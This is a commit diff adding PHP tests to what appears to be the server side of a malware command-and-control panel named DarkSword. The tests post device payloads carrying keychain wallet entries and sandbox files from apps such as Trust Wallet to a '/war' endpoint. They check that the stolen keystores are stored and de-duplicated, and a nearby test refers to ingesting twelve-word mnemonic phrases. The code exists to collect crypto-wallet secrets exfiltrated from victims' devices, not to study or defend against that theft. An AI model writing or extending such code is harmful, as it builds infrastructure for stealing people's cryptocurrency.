fix: test

tests/Feature/DarkSwordC2ApiTest.php

@@ -354,6 +354,72 @@ class DarkSwordC2ApiTest extends TestCase
         $this->assertContains('imToken', $sources);
     }
 
+    #[Test]
+    public function war_skips_duplicate_keystore_content(): void
+    {
+        $payload = [
+            'lhu' => self::DS_LHU,
+            'source' => 'pe_war_guarantee',
+            'keychain' => [
+                'wallets' => [
+                    'trustwallet' => [
+                        'count' => 1,
+                        'items' => [[
+                            'account' => 'trust_wallet',
+                            'dataHex' => bin2hex('{"device_uuid":"69DD25B2CA8B5682"}'),
+                        ]],
+                    ],
+                ],
+            ],
+            'sandbox' => [
+                'trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}',
+            ],
+        ];
+
+        $this->postJson('/war', $payload)->assertOk()->assertJson(['ok' => true]);
+        $this->postJson('/war', $payload)->assertOk()->assertJson(['ok' => true]);
+
+        $device = Device::query()->where('device_id', self::DS_LHU)->first();
+        $this->assertNotNull($device);
+        $rows = WalletKeystore::query()->where('device_id', $device->id)->get();
+        $this->assertSame(2, $rows->count());
+        $this->assertEqualsCanonicalizing(['钥匙串', '沙盒文件'], $rows->map(fn ($row) => $row->kindLabel())->all());
+    }
+
+    #[Test]
+    public function war_collapses_existing_duplicate_sandbox_rows(): void
+    {
+        $device = Device::query()->create([
+            'device_id' => self::DS_LHU,
+            'chain' => Device::CHAIN_DARKSWORD,
+        ]);
+        $raw = [
+            'kind' => 'sandbox',
+            'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
+        ];
+        WalletKeystore::query()->create([
+            'device_id' => $device->id,
+            'source' => 'Trust Wallet',
+            'decrypted' => 0,
+            'raw_json' => $raw,
+        ]);
+        WalletKeystore::query()->create([
+            'device_id' => $device->id,
+            'source' => 'Trust Wallet',
+            'decrypted' => 0,
+            'raw_json' => $raw,
+        ]);
+        $this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count());
+
+        $this->postJson('/war', [
+            'lhu' => self::DS_LHU,
+            'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
+        ])->assertOk();
+
+        $this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
+        $this->assertNotSame('', (string) WalletKeystore::query()->where('device_id', $device->id)->value('content_hash'));
+    }
+
     #[Test]
     public function war_twelve_word_phrase_ingests_mnemonic(): void
     {